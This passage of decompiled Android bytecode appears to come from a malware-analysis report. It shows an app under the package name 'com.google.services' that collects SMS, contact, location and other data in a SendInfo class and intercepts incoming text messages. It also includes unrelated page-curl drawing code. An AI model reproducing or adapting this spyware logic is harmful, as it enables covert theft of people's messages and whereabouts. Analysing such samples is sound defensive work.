207 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
208 | move-result-object v1 | |
210 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
211 | move-result-object v1 | |
212 | iput-object v1, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String; | |
213 | cond_119: | |
214 | const-string v1, "location" | |
216 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
217 | move-result v1 | |
218 | if-eqz v1, :cond_13c | |
219 | new-instance v1, Ljava/lang/StringBuilder; | |
221 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
223 | iget-object v2, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String; | |
225 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
226 | move-result-object v1 | |
228 | const-string v2, ";" | |
230 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
231 | move-result-object v1 | |
233 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
234 | move-result-object v1 | |
236 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
237 | move-result-object v1 | |
238 | iput-object v1, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String; | |
239 | cond_13c: | |
240 | const-string v1, "other" | |
242 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
243 | move-result v1 | |
244 | if-eqz v1, :cond_38 | |
245 | new-instance v1, Ljava/lang/StringBuilder; | |
247 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
249 | iget-object v2, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String; | |
251 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
252 | move-result-object v1 | |
254 | const-string v2, ";" | |
256 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
257 | move-result-object v1 | |
259 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
260 | move-result-object v1 | |
262 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
263 | move-result-object v1 | |
264 | iput-object v1, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String; | |
265 | try_end_15f: goto/16 :goto_38 | |
266 | cond_161: | |
267 | const-string v1, "sendInfo" | |
269 | const-string v2, "\u7f51\u7edc\u4e0d\u901a nullurl" | |
271 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
273 | const-string v1, "sms" | |
275 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
276 | move-result v1 | |
277 | if-eqz v1, :cond_18b | |
278 | new-instance v1, Ljava/lang/StringBuilder; | |
280 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
282 | iget-object v2, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String; | |
284 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
285 | move-result-object v1 | |
287 | const-string v2, ";" | |
289 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
290 | move-result-object v1 | |
292 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
293 | move-result-object v1 | |
295 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
296 | move-result-object v1 | |
297 | iput-object v1, p0, Lcom/google/services/SendInfo;->sms:Ljava/lang/String; | |
298 | cond_18b: | |
299 | const-string v1, "contact" | |
301 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
302 | move-result v1 | |
303 | if-eqz v1, :cond_1ae | |
304 | new-instance v1, Ljava/lang/StringBuilder; | |
306 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
308 | iget-object v2, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String; | |
310 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
311 | move-result-object v1 | |
313 | const-string v2, ";" | |
315 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
316 | move-result-object v1 | |
318 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
319 | move-result-object v1 | |
321 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
322 | move-result-object v1 | |
323 | iput-object v1, p0, Lcom/google/services/SendInfo;->contact:Ljava/lang/String; | |
324 | cond_1ae: | |
325 | const-string v1, "location" | |
327 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
328 | move-result v1 | |
329 | if-eqz v1, :cond_1d1 | |
330 | new-instance v1, Ljava/lang/StringBuilder; | |
332 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
334 | iget-object v2, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String; | |
336 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
337 | move-result-object v1 | |
339 | const-string v2, ";" | |
341 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
342 | move-result-object v1 | |
344 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
345 | move-result-object v1 | |
347 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
348 | move-result-object v1 | |
349 | iput-object v1, p0, Lcom/google/services/SendInfo;->location:Ljava/lang/String; | |
350 | cond_1d1: | |
351 | const-string v1, "other" | |
353 | invoke-virtual {p1, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
354 | move-result v1 | |
355 | if-eqz v1, :cond_38 | |
356 | new-instance v1, Ljava/lang/StringBuilder; | |
358 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
360 | iget-object v2, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String; | |
362 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
363 | move-result-object v1 | |
365 | const-string v2, ";" | |
367 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
368 | move-result-object v1 | |
370 | invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
371 | move-result-object v1 | |
373 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
374 | move-result-object v1 | |
375 | iput-object v1, p0, Lcom/google/services/SendInfo;->other:Ljava/lang/String; | |
376 | goto/16 :goto_38 |
APIs |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .prologue | |
2 | const-wide v6, 0x4041accccccccccdL | |
3 | const-wide v4, 0x3fe921fb54442d18L | |
4 | const/high16 v9, 0x41c8 | |
5 | iget-boolean v0, p0, Lcom/google/services/PageWidget;->mIsRTandLB:Z | |
6 | if-eqz v0, :cond_19b | |
8 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
9 | iget v0, v0, Landroid/graphics/PointF;->y:F | |
11 | iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
12 | iget v1, v1, Landroid/graphics/PointF;->y:F | |
13 | sub-float/2addr v0, v1 | |
14 | float-to-double v0, v0 | |
16 | iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
17 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
19 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
20 | iget v3, v3, Landroid/graphics/PointF;->x:F | |
21 | sub-float/2addr v2, v3 | |
22 | float-to-double v2, v2 | |
24 | invoke-static {v0, v1, v2, v3}, Ljava/lang/Math;->atan2(DD)D | |
25 | move-result-wide v0 | |
26 | sub-double v0, v4, v0 | |
27 | goto_2a: | |
28 | invoke-static {v0, v1}, Ljava/lang/Math;->cos(D)D | |
29 | move-result-wide v2 | |
30 | mul-double/2addr v2, v6 | |
32 | invoke-static {v0, v1}, Ljava/lang/Math;->sin(D)D | |
33 | move-result-wide v0 | |
34 | mul-double/2addr v0, v6 | |
36 | iget-object v4, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
37 | iget v4, v4, Landroid/graphics/PointF;->x:F | |
38 | float-to-double v4, v4 | |
39 | add-double/2addr v2, v4 | |
40 | double-to-float v4, v2 | |
41 | iget-boolean v2, p0, Lcom/google/services/PageWidget;->mIsRTandLB:Z | |
42 | if-eqz v2, :cond_1b7 | |
44 | iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
45 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
46 | float-to-double v2, v2 | |
47 | add-double/2addr v0, v2 | |
48 | double-to-float v0, v0 | |
49 | goto_46: | |
50 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
52 | invoke-virtual {v1}, Landroid/graphics/Path;->reset()V | |
54 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
56 | invoke-virtual {v1, v4, v0}, Landroid/graphics/Path;->moveTo(FF)V | |
58 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
60 | iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
61 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
63 | iget-object v3, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
64 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
66 | invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->lineTo(FF)V | |
68 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
70 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
71 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
73 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
74 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
76 | invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->lineTo(FF)V | |
78 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
80 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
81 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
83 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierStart1:Landroid/graphics/PointF; | |
84 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
86 | invoke-virtual {v1, v2, v3}, Landroid/graphics/Path;->lineTo(FF)V | |
88 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
90 | invoke-virtual {v1}, Landroid/graphics/Path;->close()V | |
92 | invoke-virtual {p1}, Landroid/graphics/Canvas;->save()I | |
94 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path; | |
96 | sget-object v2, Landroid/graphics/Region$Op;->XOR:Landroid/graphics/Region$Op; | |
98 | invoke-virtual {p1, v1, v2}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;Landroid/graphics/Region$Op;)Z | |
100 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
102 | sget-object v2, Landroid/graphics/Region$Op;->INTERSECT:Landroid/graphics/Region$Op; | |
104 | invoke-virtual {p1, v1, v2}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;Landroid/graphics/Region$Op;)Z | |
105 | iget-boolean v1, p0, Lcom/google/services/PageWidget;->mIsRTandLB:Z | |
106 | if-eqz v1, :cond_1c1 | |
108 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
109 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
110 | float-to-int v3, v1 | |
112 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
113 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
114 | float-to-int v1, v1 | |
115 | add-int/lit8 v2, v1, 0x19 | |
117 | iget-object v1, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableVLR:Landroid/graphics/drawable/GradientDrawable; | |
118 | goto_9f: | |
119 | iget-object v5, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
120 | iget v5, v5, Landroid/graphics/PointF;->x:F | |
122 | iget-object v6, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
123 | iget v6, v6, Landroid/graphics/PointF;->x:F | |
124 | sub-float/2addr v5, v6 | |
125 | float-to-double v5, v5 | |
127 | iget-object v7, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
128 | iget v7, v7, Landroid/graphics/PointF;->y:F | |
130 | iget-object v8, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
131 | iget v8, v8, Landroid/graphics/PointF;->y:F | |
132 | sub-float/2addr v7, v8 | |
133 | float-to-double v7, v7 | |
135 | invoke-static {v5, v6, v7, v8}, Ljava/lang/Math;->atan2(DD)D | |
136 | move-result-wide v5 | |
138 | invoke-static {v5, v6}, Ljava/lang/Math;->toDegrees(D)D | |
139 | move-result-wide v5 | |
140 | double-to-float v5, v5 | |
142 | iget-object v6, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
143 | iget v6, v6, Landroid/graphics/PointF;->x:F | |
145 | iget-object v7, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
146 | iget v7, v7, Landroid/graphics/PointF;->y:F | |
148 | invoke-virtual {p1, v5, v6, v7}, Landroid/graphics/Canvas;->rotate(FFF)V | |
150 | iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
151 | iget v5, v5, Landroid/graphics/PointF;->y:F | |
152 | iget v6, p0, Lcom/google/services/PageWidget;->mMaxLength:F | |
153 | sub-float/2addr v5, v6 | |
154 | float-to-int v5, v5 | |
156 | iget-object v6, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
157 | iget v6, v6, Landroid/graphics/PointF;->y:F | |
158 | float-to-int v6, v6 | |
160 | invoke-virtual {v1, v3, v5, v2, v6}, Landroid/graphics/drawable/GradientDrawable;->setBounds(IIII)V | |
162 | invoke-virtual {v1, p1}, Landroid/graphics/drawable/GradientDrawable;->draw(Landroid/graphics/Canvas;)V | |
164 | invoke-virtual {p1}, Landroid/graphics/Canvas;->restore()V | |
166 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
168 | invoke-virtual {v1}, Landroid/graphics/Path;->reset()V | |
170 | iget-object v1, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
172 | invoke-virtual {v1, v4, v0}, Landroid/graphics/Path;->moveTo(FF)V | |
174 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
176 | iget-object v1, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
177 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
179 | iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
180 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
182 | invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V | |
184 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
186 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
187 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
189 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
190 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
192 | invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V | |
194 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
196 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF; | |
197 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
199 | iget-object v2, p0, Lcom/google/services/PageWidget;->mBezierStart2:Landroid/graphics/PointF; | |
200 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
202 | invoke-virtual {v0, v1, v2}, Landroid/graphics/Path;->lineTo(FF)V | |
204 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
206 | invoke-virtual {v0}, Landroid/graphics/Path;->close()V | |
208 | invoke-virtual {p1}, Landroid/graphics/Canvas;->save()I | |
210 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath0:Landroid/graphics/Path; | |
212 | sget-object v1, Landroid/graphics/Region$Op;->XOR:Landroid/graphics/Region$Op; | |
214 | invoke-virtual {p1, v0, v1}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;Landroid/graphics/Region$Op;)Z | |
216 | iget-object v0, p0, Lcom/google/services/PageWidget;->mPath1:Landroid/graphics/Path; | |
218 | sget-object v1, Landroid/graphics/Region$Op;->INTERSECT:Landroid/graphics/Region$Op; | |
220 | invoke-virtual {p1, v0, v1}, Landroid/graphics/Canvas;->clipPath(Landroid/graphics/Path;Landroid/graphics/Region$Op;)Z | |
221 | iget-boolean v0, p0, Lcom/google/services/PageWidget;->mIsRTandLB:Z | |
222 | if-eqz v0, :cond_1d2 | |
224 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
225 | iget v0, v0, Landroid/graphics/PointF;->y:F | |
226 | float-to-int v2, v0 | |
228 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
229 | iget v0, v0, Landroid/graphics/PointF;->y:F | |
230 | add-float/2addr v0, v9 | |
231 | float-to-int v1, v0 | |
233 | iget-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableHTB:Landroid/graphics/drawable/GradientDrawable; | |
234 | goto_135: | |
235 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
236 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
238 | iget-object v4, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
239 | iget v4, v4, Landroid/graphics/PointF;->y:F | |
240 | sub-float/2addr v3, v4 | |
241 | float-to-double v3, v3 | |
243 | iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
244 | iget v5, v5, Landroid/graphics/PointF;->x:F | |
246 | iget-object v6, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
247 | iget v6, v6, Landroid/graphics/PointF;->x:F | |
248 | sub-float/2addr v5, v6 | |
249 | float-to-double v5, v5 | |
251 | invoke-static {v3, v4, v5, v6}, Ljava/lang/Math;->atan2(DD)D | |
252 | move-result-wide v3 | |
254 | invoke-static {v3, v4}, Ljava/lang/Math;->toDegrees(D)D | |
255 | move-result-wide v3 | |
256 | double-to-float v3, v3 | |
258 | iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
259 | iget v4, v4, Landroid/graphics/PointF;->x:F | |
261 | iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
262 | iget v5, v5, Landroid/graphics/PointF;->y:F | |
264 | invoke-virtual {p1, v3, v4, v5}, Landroid/graphics/Canvas;->rotate(FFF)V | |
266 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
267 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
268 | const/4 v4, 0x0 | |
269 | cmpg-float v3, v3, v4 | |
270 | if-gez v3, :cond_1e4 | |
272 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
273 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
274 | iget v4, p0, Lcom/google/services/PageWidget;->mHeight:I | |
275 | int-to-float v4, v4 | |
276 | sub-float/2addr v3, v4 | |
277 | goto_16e: | |
278 | iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
279 | iget v4, v4, Landroid/graphics/PointF;->x:F | |
280 | float-to-double v4, v4 | |
281 | float-to-double v6, v3 | |
283 | invoke-static {v4, v5, v6, v7}, Ljava/lang/Math;->hypot(DD)D | |
284 | move-result-wide v3 | |
285 | double-to-int v3, v3 | |
286 | int-to-float v4, v3 | |
287 | iget v5, p0, Lcom/google/services/PageWidget;->mMaxLength:F | |
288 | cmpl-float v4, v4, v5 | |
289 | if-lez v4, :cond_1e9 | |
291 | iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
292 | iget v4, v4, Landroid/graphics/PointF;->x:F | |
293 | sub-float/2addr v4, v9 | |
294 | float-to-int v4, v4 | |
295 | sub-int/2addr v4, v3 | |
297 | iget-object v5, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
298 | iget v5, v5, Landroid/graphics/PointF;->x:F | |
299 | iget v6, p0, Lcom/google/services/PageWidget;->mMaxLength:F | |
300 | add-float/2addr v5, v6 | |
301 | float-to-int v5, v5 | |
302 | sub-int v3, v5, v3 | |
304 | invoke-virtual {v0, v4, v2, v3, v1}, Landroid/graphics/drawable/GradientDrawable;->setBounds(IIII)V | |
305 | goto_194: | |
306 | invoke-virtual {v0, p1}, Landroid/graphics/drawable/GradientDrawable;->draw(Landroid/graphics/Canvas;)V | |
308 | invoke-virtual {p1}, Landroid/graphics/Canvas;->restore()V | |
309 | return-void | |
310 | cond_19b: | |
311 | iget-object v0, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
312 | iget v0, v0, Landroid/graphics/PointF;->y:F | |
314 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
315 | iget v1, v1, Landroid/graphics/PointF;->y:F | |
316 | sub-float/2addr v0, v1 | |
317 | float-to-double v0, v0 | |
319 | iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
320 | iget v2, v2, Landroid/graphics/PointF;->x:F | |
322 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
323 | iget v3, v3, Landroid/graphics/PointF;->x:F | |
324 | sub-float/2addr v2, v3 | |
325 | float-to-double v2, v2 | |
327 | invoke-static {v0, v1, v2, v3}, Ljava/lang/Math;->atan2(DD)D | |
328 | move-result-wide v0 | |
329 | sub-double v0, v4, v0 | |
330 | goto/16 :goto_2a | |
331 | cond_1b7: | |
332 | iget-object v2, p0, Lcom/google/services/PageWidget;->mTouch:Landroid/graphics/PointF; | |
333 | iget v2, v2, Landroid/graphics/PointF;->y:F | |
334 | float-to-double v2, v2 | |
335 | sub-double v0, v2, v0 | |
336 | double-to-float v0, v0 | |
337 | goto/16 :goto_46 | |
338 | cond_1c1: | |
339 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
340 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
341 | sub-float/2addr v1, v9 | |
342 | float-to-int v3, v1 | |
344 | iget-object v1, p0, Lcom/google/services/PageWidget;->mBezierControl1:Landroid/graphics/PointF; | |
345 | iget v1, v1, Landroid/graphics/PointF;->x:F | |
346 | float-to-int v1, v1 | |
347 | add-int/lit8 v2, v1, 0x1 | |
349 | iget-object v1, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableVRL:Landroid/graphics/drawable/GradientDrawable; | |
350 | goto/16 :goto_9f | |
351 | cond_1d2: | |
352 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
353 | iget v0, v0, Landroid/graphics/PointF;->y:F | |
354 | sub-float/2addr v0, v9 | |
355 | float-to-int v2, v0 | |
357 | iget-object v0, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
358 | iget v0, v0, Landroid/graphics/PointF;->y:F | |
359 | const/high16 v1, 0x3f80 | |
360 | add-float/2addr v0, v1 | |
361 | float-to-int v1, v0 | |
363 | iget-object v0, p0, Lcom/google/services/PageWidget;->mFrontShadowDrawableHBT:Landroid/graphics/drawable/GradientDrawable; | |
364 | goto/16 :goto_135 | |
365 | cond_1e4: | |
366 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
367 | iget v3, v3, Landroid/graphics/PointF;->y:F | |
368 | goto/16 :goto_16e | |
369 | cond_1e9: | |
370 | iget-object v3, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
371 | iget v3, v3, Landroid/graphics/PointF;->x:F | |
372 | iget v4, p0, Lcom/google/services/PageWidget;->mMaxLength:F | |
373 | sub-float/2addr v3, v4 | |
374 | float-to-int v3, v3 | |
376 | iget-object v4, p0, Lcom/google/services/PageWidget;->mBezierControl2:Landroid/graphics/PointF; | |
377 | iget v4, v4, Landroid/graphics/PointF;->x:F | |
378 | float-to-int v4, v4 | |
380 | invoke-virtual {v0, v3, v2, v4, v1}, Landroid/graphics/drawable/GradientDrawable;->setBounds(IIII)V |
|
381 | goto/16 :goto_194 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
3 | const/4 v3, 0x0 | |
4 | const/4 v4, 0x0 | |
6 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
7 | move-result-object v0 | |
9 | const-string v1, "android.provider.Telephony.SMS_RECEIVED" | |
11 | invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
12 | move-result v0 | |
13 | if-eqz v0, :cond_79 | |
15 | invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle; | |
16 | move-result-object v0 | |
17 | if-eqz v0, :cond_79 | |
19 | const-string v1, "pdus" | |
21 | invoke-virtual {v0, v1}, Landroid/os/Bundle;->get(Ljava/lang/String;)Ljava/lang/Object; |
|
22 | move-result-object v0 | |
23 | check-cast v0, [Ljava/lang/Object; | |
24 | check-cast v0, [Ljava/lang/Object; | |
25 | array-length v1, v0 | |
26 | new-array v5, v1, [Landroid/telephony/SmsMessage; | |
27 | move v2, v3 | |
28 | goto_22: array-length v1, v0 | |
29 | if-ge v2, v1, :cond_35 | |
30 | aget-object v1, v0, v2 | |
31 | check-cast v1, [B | |
32 | check-cast v1, [B | |
34 | invoke-static {v1}, Landroid/telephony/SmsMessage;->createFromPdu([B)Landroid/telephony/SmsMessage; | |
35 | move-result-object v1 | |
36 | aput-object v1, v5, v2 | |
37 | add-int/lit8 v1, v2, 0x1 | |
38 | move v2, v1 | |
39 | goto/16 :goto_22 | |
40 | cond_35: move-object v0, v4 | |
41 | goto_36: array-length v1, v5 | |
42 | if-ge v3, v1, :cond_5f | |
43 | new-instance v0, Ljava/lang/StringBuilder; | |
45 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
46 | aget-object v1, v5, v3 | |
48 | invoke-virtual {v1}, Landroid/telephony/SmsMessage;->getOriginatingAddress()Ljava/lang/String; | |
49 | move-result-object v1 | |
51 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
52 | move-result-object v0 | |
54 | const-string v1, " : " | |
56 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
57 | move-result-object v0 | |
58 | aget-object v1, v5, v3 | |
60 | invoke-virtual {v1}, Landroid/telephony/SmsMessage;->getMessageBody()Ljava/lang/String; | |
61 | move-result-object v1 | |
63 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
64 | move-result-object v0 | |
66 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
67 | move-result-object v0 | |
68 | add-int/lit8 v3, v3, 0x1 | |
69 | goto/16 :goto_36 | |
70 | cond_5f: new-instance v1, Landroid/content/Intent; | |
72 | invoke-direct {v1}, Landroid/content/Intent;-><init>()V | |
74 | const-string v2, "com.google.system.receiver" | |
